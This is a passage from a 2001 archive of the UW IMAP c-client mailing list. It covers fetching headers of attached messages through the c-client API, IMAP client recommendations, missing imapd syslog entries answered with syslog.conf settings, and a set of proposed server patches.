f9TEMQL18490; Mon, 29 Oct 2001 06:22:26 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9TEJnN07154 for ; Mon, 29 Oct 2001 06:19:49 -0800 Received: FROM mxu1.u.washington.edu BY mailscan1.cac.washington.edu ; Mon Oct 29 06:19:49 2001 -0800 Received: from mango.telerian.net ([195.188.42.141]) by mxu1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9TEJlw17079 for ; Mon, 29 Oct 2001 06:19:48 -0800 Received: from tunbury (host213-122-156-150.btinternet.com [213.122.156.150]) by mango.telerian.net (8.11.4/8.10.1) with SMTP id f9TEJRU29993 for ; Mon, 29 Oct 2001 14:19:27 GMT Message-Id: <000a01c16084$e65982e0$969c7ad5@demon.co.uk> Date: Mon, 29 Oct 2001 14:20:40 -0000 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Mark Elvers" To: Subject: Fetching a message header within a message body MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have a 'complex' message which has the following structure:- section "1.1", type "TEXT/PLAIN" - first message section "1.2", type "TEXT/HTML" - first message in html format section "2", type "IMAGE/JPEG" - first attachment to message section "3", type "IMAGE/JPEG" - second attachment to message section "4", type "MESSAGE/RFC822" - message attached to first message section "4.1.1", type "TEXT/PLAIN" - second message text section "4.1.2", type "TEXT/HTML" - second message text in html format section "4.2", type "IMAGE/JPEG" - attachment to second message section "5", type "TEXT/PLAIN" - third attachment to the first message What I would like to do is grab *just* the header of the attached message. The only function that takes a specific section number is mail_fetch_body(), but if I do char *s = mail_fetchbody_full(mailstream, i, "4", NIL, FT_PEEK); s then contains the text of "4", "4.1.1", "4.1.2" and "4.2". Is there another way to do this? On another subject is there a way to definitely know that "1.1" is really the same as "1.2" and "4.1.1" is the same as "4.1.2". Lastly, I'm using imap-2000c if that makes any difference Thanks Mark -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Oct 29 11:17:52 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 29 Oct 2001 11:17:51 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9TJHTK28707 for ; Mon, 29 Oct 2001 11:17:48 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Mon Oct 29 11:17:17 2001 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9TJHGL11427; Mon, 29 Oct 2001 11:17:16 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9TJH3L06684; Mon, 29 Oct 2001 11:17:03 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9TJDkN92134 for ; Mon, 29 Oct 2001 11:13:46 -0800 Received: FROM mxu3.u.washington.edu BY mailscan3.cac.washington.edu ; Mon Oct 29 11:13:44 2001 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (mhmcg@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9TJDiU14346 for ; Mon, 29 Oct 2001 11:13:44 -0800 Message-Id: Date: Mon, 29 Oct 2001 09:52:06 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mark Elvers Cc: c-client@u.washington.edu Subject: re: Fetching a message header within a message body In-Reply-To: <000a01c16084$e65982e0$969c7ad5@demon.co.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 29 Oct 2001 14:20:40 -0000, Mark Elvers wrote: > What I would like to do is grab *just* the header of the attached message. > The only function that takes a specific section number is mail_fetch_body() You probably overlooked mail_fetch_header(): char *mail_fetch_header (MAILSTREAM *stream,unsigned long msgno,char *section, STRINGLIST *lines,unsigned long *len,long flags); > On another subject is there a way to definitely know that "1.1" is really > the same as "1.2" and "4.1.1" is the same as "4.1.2". Look at the subtype of the encapsulating MULTIPART (sections 1 and 4.1). If it is "ALTERNATIVE", then you can reasonably conclude they are the same. From pinedev@shivax2.cac.washington.edu Tue Oct 30 20:43:43 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 30 Oct 2001 20:43:42 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9V4heK23480 for ; Tue, 30 Oct 2001 20:43:41 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Tue Oct 30 20:41:28 2001 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9V4fSH22231; Tue, 30 Oct 2001 20:41:28 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9V4fFL17170; Tue, 30 Oct 2001 20:41:15 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9V4dJN66760 for ; Tue, 30 Oct 2001 20:39:19 -0800 Received: FROM mxu4.u.washington.edu BY mailscan6.cac.washington.edu ; Tue Oct 30 20:39:18 2001 -0800 Received: from gw2.r2tek.com (IDENT:root@w137.z208176063.phx-az.dsl.cnc.net [208.176.63.137]) by mxu4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9V4dIQ25716 for ; Tue, 30 Oct 2001 20:39:18 -0800 Received: from w139.z208176063.chi-il.dsl.cnc.net (lisa [208.176.63.139]) by gw2.r2tek.com (8.11.3/8.11.3) with ESMTP id f9V4brK28115; Tue, 30 Oct 2001 22:37:54 -0600 (CST) Message-Id: <217443.1004481473@w139.z208176063.chi-il.dsl.cnc.net> Date: Tue, 30 Oct 2001 22:37:53 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Rich Ramos To: Mark Edwards , Sebastian Hagedorn Cc: c-client@u.washington.edu Subject: Re: imapd + Outlook = In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have been using Mulberry for over a year now (after using Netscape, Outlook Express and Eudora) and there is no comparison. If you are in a Mac OS environment (also works on Linux, Solaris and Windows) it is hands down the best client out there. Highly recommended. By the way, I like the multiple window thing. But if you don't, according to the main man at Cyrusoft (Cyrus Daboo) the next version coming out (version 3.0 I believe) will have the single window view. -Rich --- Original --- From: Mark Edwards To: Sebastian Hagedorn CC: c-client@u.washington.edu Date: 10/16/01 4:14 PM -0700 Subject: Re: imapd + Outlook = Mulberry is indeed quite a nice email client, feature-wise. The only thing I don't like about it is that its multiple-windows, so every message and every mailbox is a new window. If Mulberry had the option to work in a single window with panes, it would be everything I need. Unfortunately, the multiple window thing turns into a mess pretty quickly. Since I turned off checking every 5 minutes in OE, the problem seem to have subsided. Perhaps Microsoft will release a version of OE that solves these issues, though I doubt it. I think everything they release is going to be for OS X from now on. Thanks for the suggestion. Everyone who has trouble finding a decent GUI IMAP client should check out Mulberry. on 10/12/01 10:52 AM, Sebastian Hagedorn at Hagedorn@spinfo.uni-koeln.de wrote: > Well, since you've asked... my favorite IMAP client is Mulberry from > Cyrusoft (www.cyrusoft.com). It's actually the only GUI mailer I know > that gets IMAP right. The only disadvantages are that it's not free (but > there is a demo version) and that the UI is not very pretty. OE > definitely looks nicer... -- Mark Edwards Engineer Mr. Toad's San Francisco From pinedev@shivax2.cac.washington.edu Wed Oct 31 19:59:44 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 31 Oct 2001 19:59:44 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA13xhJ11329 for ; Wed, 31 Oct 2001 19:59:43 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Wed Oct 31 19:59:33 2001 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA13xXn08094; Wed, 31 Oct 2001 19:59:33 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA13xH229176; Wed, 31 Oct 2001 19:59:17 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA13w1n47952 for ; Wed, 31 Oct 2001 19:58:01 -0800 Received: FROM mxu4.u.washington.edu BY mailscan1.cac.washington.edu ; Wed Oct 31 19:58:01 2001 -0800 Received: from magic.merlins.org (magic.merlins.org [204.80.101.184]) by mxu4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA13w0922393 for ; Wed, 31 Oct 2001 19:58:00 -0800 Received: from magic.merlins.org (merlin@localhost [127.0.0.1]) by magic.merlins.org (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id fA13w0Ov019892 for ; Wed, 31 Oct 2001 19:58:00 -0800 Received: (from merlin@localhost) by magic.merlins.org (8.12.0.Beta7/8.12.0.Beta7/Debian 8.12.0.Beta7-1) id fA13vxPY019890 for c-client@u.washington.edu; Wed, 31 Oct 2001 19:57:59 -0800 Message-Id: <20011031195759.A19685@magic.merlins.org> Date: Wed, 31 Oct 2001 19:57:59 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Marc MERLIN To: c-client@u.washington.edu Subject: syslog problems witn imapd Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Sysadmin: BOFH X-URL: http://marc.merlins.org/ X-Operating-System: Proudly running Linux 2.2.12/Debian testing/unstable X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have been using the latest imap-2001a.RELEASE-CANDIDATE.2 and with that one, as well as imap-2001.BETA.SNAP-0105251616 (I believe), I have been having problems with very unreliable sysloging kenny:/var/local/src/uwimap/patches# telnet localhost 143 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. * OK [CAPABILITY IMAP4REV1 LOGIN-REFERRALS STARTTLS AUTH=LOGIN] localhost IMAP4rev1 2001.305 at Wed, 31 Oct 2001 19:46:02 -0800 (PST) 1 login merlin xxxx * CAPABILITY IMAP4REV1 IDLE NAMESPACE MAILBOX-REFERRALS SCAN SORT THREAD=REFERENCES THREAD=ORDEREDSUBJECT MULTIAPPEND 1 OK LOGIN completed 2 select INBOX * 1 EXISTS * 0 RECENT * OK [UIDVALIDITY 1002934958] UID validity status * OK [UIDNEXT 2] Predicted next UID * FLAGS (\Answered \Flagged \Deleted \Draft \Seen) * OK [PERMANENTFLAGS (\* \Answered \Flagged \Deleted \Draft \Seen)] Permanent flags 2 OK [READ-WRITE] SELECT completed 3 logout * BYE kenny.hdqt.valinux.com IMAP4rev1 server terminating connection 3 OK LOGOUT completed Syslog shows: Oct 31 19:46:02 kenny imapd[1144]: imap service init from 127.0.0.1 Oct 31 19:46:28 kenny imapd[1193]: imaps SSL service init from 24.18.170.38 Oct 31 19:46:29 kenny imapd[1196]: imaps SSL service init from 24.18.170.38 No Authenticated user=merlin host=localhost or Logout user=merlin host=localhost Yet, I have a few of those lines in my logs, just very few. Apparently, using SSL doesn't make a difference (although the SSL init gets logged): Oct 31 19:56:12 kenny tcplogd: imaps connection attempt from localhost [127.0.0.1] Oct 31 19:56:12 kenny imapd[2745]: connect from localhost Oct 31 19:56:12 kenny imapd[2745]: imaps SSL service init from 127.0.0.1 This is when I do: kenny:/var/local/src/uwimap# telnet -z ssl localhost imaps Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. * OK [CAPABILITY IMAP4REV1 LOGIN-REFERRALS AUTH=PLAIN AUTH=LOGIN] localhost IMAP4rev1 2001.305 at Wed, 31 Oct 2001 19:56:12 -0800 (PST) 1 login merlin xxx * CAPABILITY IMAP4REV1 IDLE NAMESPACE MAILBOX-REFERRALS SCAN SORT THREAD=REFERENCES THREAD=ORDEREDSUBJECT MULTIAPPEND 1 OK LOGIN completed 2 select INBOX * 1 EXISTS * 0 RECENT * OK [UIDVALIDITY 1002934958] UID validity status * OK [UIDNEXT 2] Predicted next UID * FLAGS (\Answered \Flagged \Deleted \Draft \Seen) * OK [PERMANENTFLAGS (\* \Answered \Flagged \Deleted \Draft \Seen)] Permanent flags 2 OK [READ-WRITE] SELECT completed 3 logout * BYE kenny.hdqt.valinux.com IMAP4rev1 server terminating connection 3 OK LOGOUT completed Any ideas what could be wrong? (yes syslog seems to be working on that system otherwise) Thanks Marc -- Microsoft is to operating systems & security .... .... what McDonalds is to gourmet cooking Home page: http://marc.merlins.org/ | Finger marc_f@merlins.org for PGP key -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Oct 31 20:00:10 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 31 Oct 2001 20:00:09 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA1408J10514 for ; Wed, 31 Oct 2001 20:00:08 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Wed Oct 31 20:00:04 2001 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA1403G28123; Wed, 31 Oct 2001 20:00:03 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA13xq534764; Wed, 31 Oct 2001 19:59:52 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA13wOn102252 for ; Wed, 31 Oct 2001 19:58:24 -0800 Received: FROM mxu2.u.washington.edu BY mailscan4.cac.washington.edu ; Wed Oct 31 19:55:24 2001 -0800 Received: from magic.merlins.org (magic.merlins.org [204.80.101.184]) by mxu2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA13tN412282 for ; Wed, 31 Oct 2001 19:55:23 -0800 Received: from magic.merlins.org (merlin@localhost [127.0.0.1]) by magic.merlins.org (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id fA13tMOv019860; Wed, 31 Oct 2001 19:55:22 -0800 Received: (from merlin@localhost) by magic.merlins.org (8.12.0.Beta7/8.12.0.Beta7/Debian 8.12.0.Beta7-1) id fA13tMff019858; Wed, 31 Oct 2001 19:55:22 -0800 Message-Id: <20011031195520.O3403@magic.merlins.org> Date: Wed, 31 Oct 2001 19:55:20 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Marc MERLIN To: c-client@u.washington.edu Subject: Several patches for uwimap, please review Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Sysadmin: BOFH X-URL: http://marc.merlins.org/ X-Operating-System: Proudly running Linux 2.2.12/Debian testing/unstable X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN [Jauder Bcced] I have written and maintain a few patches against uwimap I've actually been using them at VA Software (formerly VA Linux Systems) for more than a year, with the exception of the anti FS wandering patch, which I just wrote. The whole thing is here: http://marc.merlins.org/linux/uwimap/ The 4 patches are: * Verbose logs of connections (straight port from Jauder Ho's patch) * Hiding of . files so that list "" "%" doesn't show all the hidden files and dirs in your homedir when you use the subscribe option in netscape (initially by Jauder Ho) * Support for conditional MBX inbox and folders: this will have the uwimap daemon look for /var/spool/mbx/user/INBOX, and autoswitch the homedir location and the default folder type to MBX if that mailbox is found. This lets you transparently support both regular users with MBOX folders in their homedir, and users with faster MBX folders directly on the mail server * Anti FS wandering patch: this patch is to ensure that if one of your users gets his/her password stolen, a cracker cannot use his account and the imap server to freely browse around your filesystem. I'm not ultra familiar with the uwimap code, so if you think I missed something please let me know. If Marc (not me, the other Marc :-D), agrees to the patches (which are all ifdefs anyway, so adding them to the code won't do anything unless you turn them on at compile time), it would be nice to roll them out in the main tree Thanks, Marc -- Microsoft is to operating systems & security .... .... what McDonalds is to gourmet cooking Home page: http://marc.merlins.org/ | Finger marc_f@merlins.org for PGP key -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Oct 31 20:08:18 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 31 Oct 2001 20:08:17 -0800 (PST) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA148GJ06794 for ; Wed, 31 Oct 2001 20:08:17 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Wed Oct 31 20:08:10 2001 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA1489n08254; Wed, 31 Oct 2001 20:08:09 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA147vb28402; Wed, 31 Oct 2001 20:07:57 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA147Sn22068 for ; Wed, 31 Oct 2001 20:07:29 -0800 Received: FROM mxu2.u.washington.edu BY mailscan1.cac.washington.edu ; Wed Oct 31 20:07:28 2001 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA147R414597 for ; Wed, 31 Oct 2001 20:07:28 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA147Rx00333; Wed, 31 Oct 2001 20:07:27 -0800 Received: from shimo-tomobiki.Panda.COM (cs70-6.cacmodem.washington.edu [140.142.176.126]) (authenticated bits=0) by smtp.washington.edu (8.12.0+UW01.09/8.12.0+UW01.10) with ESMTP id fA147KUm021489 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO); Wed, 31 Oct 2001 20:07:26 -0800 Message-Id: Date: Wed, 31 Oct 2001 20:07:24 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Marc MERLIN Cc: c-client@u.washington.edu Subject: Re: syslog problems witn imapd In-Reply-To: <20011031195759.A19685@magic.merlins.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Nobody else has reported this problem (yet). Since you have made numerous patches, have you tried to see if you can reproduce this problem with unmodified software? Have you verified that your /etc/syslog.conf file is set appropriately? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Wed Oct 31 20:36:10 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 31 Oct 2001 20:36:06 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA14a5J07504 for ; Wed, 31 Oct 2001 20:36:05 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Wed Oct 31 20:34:40 2001 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA14Ydn08785; Wed, 31 Oct 2001 20:34:39 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA14YSb04646; Wed, 31 Oct 2001 20:34:29 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA14Xkn04066 for ; Wed, 31 Oct 2001 20:33:47 -0800 Received: FROM mxu2.u.washington.edu BY mailscan3.cac.washington.edu ; Wed Oct 31 20:33:46 2001 -0800 Received: from tick.lymenet.org ([207.207.212.10]) by mxu2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA14Xf419769 for ; Wed, 31 Oct 2001 20:33:45 -0800 Received: from lymenet.org (rdu57-85-031.nc.rr.com [66.57.85.31]) by tick.lymenet.org (8.11.6/8.11.6) with ESMTP id fA14XVV09414; Wed, 31 Oct 2001 23:33:31 -0500 (EST) Message-Id: <3BE0D09B.D56F8053@lymenet.org> Date: Wed, 31 Oct 2001 23:33:31 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Thomas Brown To: Marc MERLIN Cc: c-client@u.washington.edu Subject: Re: syslog problems witn imapd References: <20011031195759.A19685@magic.merlins.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en,pdf X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The authentication messages use 'info' level, and the connect messages use 'debug' level. Try the following in your syslog.conf: mail.debug /var/adm/mail.log (or wherever you send it) You will then get: Oct 10 12:37:37 tick imapd[9631]: [ID 806292 mail.debug] imap service init from 10.207.212.5 Oct 10 12:37:37 tick imapd[9631]: [ID 234311 mail.info] Login user=mailuser host=mailclient [10.207.212.5] Oct 10 12:38:14 tick imapd[9631]: [ID 533678 mail.info] Logout user=mailuser host=mailclient [10.207.212.5] A similar IMAPS session looks like: Oct 10 12:21:03 mailhost imapd[9329]: [ID 298158 mail.debug] imaps SSL service init from 10.57.85.31 Oct 10 12:21:05 mailhost imapd[9329]: [ID 666661 mail.info] Authenticated user=tbrown host=mailclient [10.57.85.31] Oct 10 12:28:14 mailhost imapd[9329]: [ID 533678 mail.info] Logout user=tbrown host=mailclient [10.57.85.31] Note, however, that most editions of 'sendmail' also use the 'mail' facility by default, with various levels including 'info', 'warning', and 'notice'. This may not be a problem, however, as you will have all mail-related logging in one file, and this can be easily filtered as each program (sendmail, imapd, ipop3d, etc.) will tag its name on each line. -Tom Marc MERLIN wrote: > > I have been using the latest imap-2001a.RELEASE-CANDIDATE.2 and with that > one, as well as imap-2001.BETA.SNAP-0105251616 (I believe), I have been > having problems with very unreliable sysloging > > kenny:/var/local/src/uwimap/patches# telnet localhost 143 > Trying 127.0.0.1... > Connected to localhost. > Escape character is '^]'. > * OK [CAPABILITY IMAP4REV1 LOGIN-REFERRALS STARTTLS AUTH=LOGIN] localhost IMAP4rev1 2001.305 at Wed, 31 Oct 2001 19:46:02 -0800 (PST) > 1 login merlin xxxx > * CAPABILITY IMAP4REV1 IDLE NAMESPACE MAILBOX-REFERRALS SCAN SORT THREAD=REFERENCES THREAD=ORDEREDSUBJECT MULTIAPPEND > 1 OK LOGIN completed > 2 select INBOX > * 1 EXISTS > * 0 RECENT > * OK [UIDVALIDITY 1002934958] UID validity status > * OK [UIDNEXT 2] Predicted next UID > * FLAGS (\Answered \Flagged \Deleted \Draft \Seen) > * OK [PERMANENTFLAGS (\* \Answered \Flagged \Deleted \Draft \Seen)] Permanent flags > 2 OK [READ-WRITE] SELECT completed > 3 logout > * BYE kenny.hdqt.valinux.com IMAP4rev1 server terminating connection > 3 OK LOGOUT completed > > Syslog shows: > Oct 31 19:46:02 kenny imapd[1144]: imap service init from 127.0.0.1 > Oct 31 19:46:28 kenny imapd[1193]: imaps SSL service init from 24.18.170.38 > Oct 31 19:46:29 kenny imapd[1196]: imaps SSL service init from 24.18.170.38 > > No > Authenticated user=merlin host=localhost > or > Logout user=merlin host=localhost > > Yet, I have a few of those lines in my logs, just very few. > > Apparently, using SSL doesn't make a difference (although the SSL init gets > logged): > Oct 31 19:56:12 kenny tcplogd: imaps connection attempt from localhost [127.0.0.1] > Oct 31 19:56:12 kenny imapd[2745]: connect from localhost > Oct 31 19:56:12 kenny imapd[2745]: imaps SSL service init from 127.0.0.1 > > This is when I do: > kenny:/var/local/src/uwimap# telnet -z ssl localhost imaps > Trying 127.0.0.1... > Connected to localhost. > Escape character is '^]'. > * OK [CAPABILITY IMAP4REV1 LOGIN-REFERRALS AUTH=PLAIN AUTH=LOGIN] localhost IMAP4rev1 2001.305 at Wed, 31 Oct 2001 19:56:12 -0800 (PST) > 1 login merlin xxx > * CAPABILITY IMAP4REV1 IDLE NAMESPACE MAILBOX-REFERRALS SCAN SORT THREAD=REFERENCES THREAD=ORDEREDSUBJECT MULTIAPPEND > 1 OK LOGIN completed > 2 select INBOX > * 1 EXISTS > * 0 RECENT > * OK [UIDVALIDITY 1002934958] UID validity status > * OK [UIDNEXT 2] Predicted next UID > * FLAGS (\Answered \Flagged \Deleted \Draft \Seen) > * OK [PERMANENTFLAGS (\* \Answered \Flagged \Deleted \Draft \Seen)] Permanent flags > 2 OK [READ-WRITE] SELECT completed > 3 logout > * BYE kenny.hdqt.valinux.com IMAP4rev1 server terminating connection > 3 OK LOGOUT completed > > Any ideas what could be wrong? > (yes syslog seems to be working on that system otherwise) > > Thanks > Marc > -- > Microsoft is to operating systems & security .... > .... what McDonalds is to gourmet cooking > > Home page: http://marc.merlins.org/ | Finger marc_f@merlins.org for PGP key > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Nov 1 08:55:40 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 1 Nov 2001 08:55:36 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA1GtOJ05478 for ; Thu, 1 Nov 2001 08:55:27 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Thu Nov 01 08:55:16 2001 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA1GtFG11343; Thu, 1 Nov 2001 08:55:15 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA1Gsx219844; Thu, 1 Nov 2001 08:54:59 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA1Gr0n59678 for ; Thu, 1 Nov 2001 08:53:00 -0800 Received: FROM mxu4.u.washington.edu BY mailscan6.cac.washington.edu ; Thu Nov 01 08:53:00 2001 -0800 Received: from mail.mintercorp.com (firewall.mintercorp.com [216.167.37.230]) by mxu4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA1Gqx921881 for ; Thu, 1 Nov 2001 